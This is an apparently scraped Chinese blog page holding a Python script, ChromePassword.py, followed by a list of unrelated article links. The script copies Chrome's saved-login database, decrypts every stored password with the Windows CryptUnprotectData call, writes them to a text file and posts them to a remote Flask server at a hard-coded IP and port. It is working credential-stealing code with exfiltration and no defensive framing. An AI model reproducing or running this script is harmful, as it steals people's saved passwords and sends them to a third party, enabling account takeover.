ChromePassword
# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()
ChromePassword的更多相关文章
随机推荐
- 2019牛客暑期多校训练营(第六场)-D Move
题目链接:https://ac.nowcoder.com/acm/contest/886/D 题意:给n个物品,每个物品有一个体积值,K个箱子,问箱子的最小体积为多少可将物品全部装下. 思路:比赛时一 ...
- [转帖]AMD第三代锐龙处理器首发评测:i9已无力招架
AMD第三代锐龙处理器首发评测:i9已无力招架 Intel 从之前的 CCX 到了 CCD 增加了缓存 改善了 ccx 之间的延迟. https://baijiahao.baidu.com/s?id= ...
- (5.14)mysql高可用系列——级联复制与多主一从
目录: [0]实验需求 级联复制,201为主库,202为从库/同时为203的主库,203为202的从库[1]实验环境 级联:A->B->C 实践思路: (1)直接拿A的xtrabackup ...
- python -- TypeError: 'module' object is not callable
文件: 代码: import pprintmessge = 'It was a bringht cold day in April,and the clocks were striking thrir ...
- python列表一
1.列表数据类型 列表是一个值,它包含多个值构成,也可包含其他列表,其内的表项用逗号分隔 列表值:作为一个值可以保存在变量中,或传递给函数,像所有其他值一样. #不是指括号内的值 表项:列表中的值, ...
- Spring系列四:Bean Scopes作用域
等闲识得东风面,万紫千红总是春. 概述 在Spring框架中,我们可以在六个内置的spring bean作用域中创建bean,还可以定义bean范围.在这六个范围中,只有在使用支持Web的applic ...
- 南昌网络赛C.Angry FFF Party
南昌网络赛C.Angry FFF Party Describe In ACM labs, there are only few members who have girlfriends. And th ...
- static char定义的用法
static char *p是全局静态变量,char *p是临时变量,static定义的你在其他地方可以调用,而且是通用的,也就是说你在一个地方改了它的值,其他地方也就跟着改了,而char *p只是一 ...
- jQuery+php+ajax实现无刷新上传文件功能
jQuery+php+ajax实现无刷新上传文件功能,还带有上传进度条动画效果,支持图片.视频等大文件上传. js代码 <script type='text/javascript' src='j ...
- 进阶Python:装饰器 全面详解
进阶Python:装饰器 前言 前段时间我发了一篇讲解Python调试工具PySnooper的文章,在那篇文章开始一部分我简单的介绍了一下装饰器,文章发出之后有几位同学说"终于了解装饰器的用 ...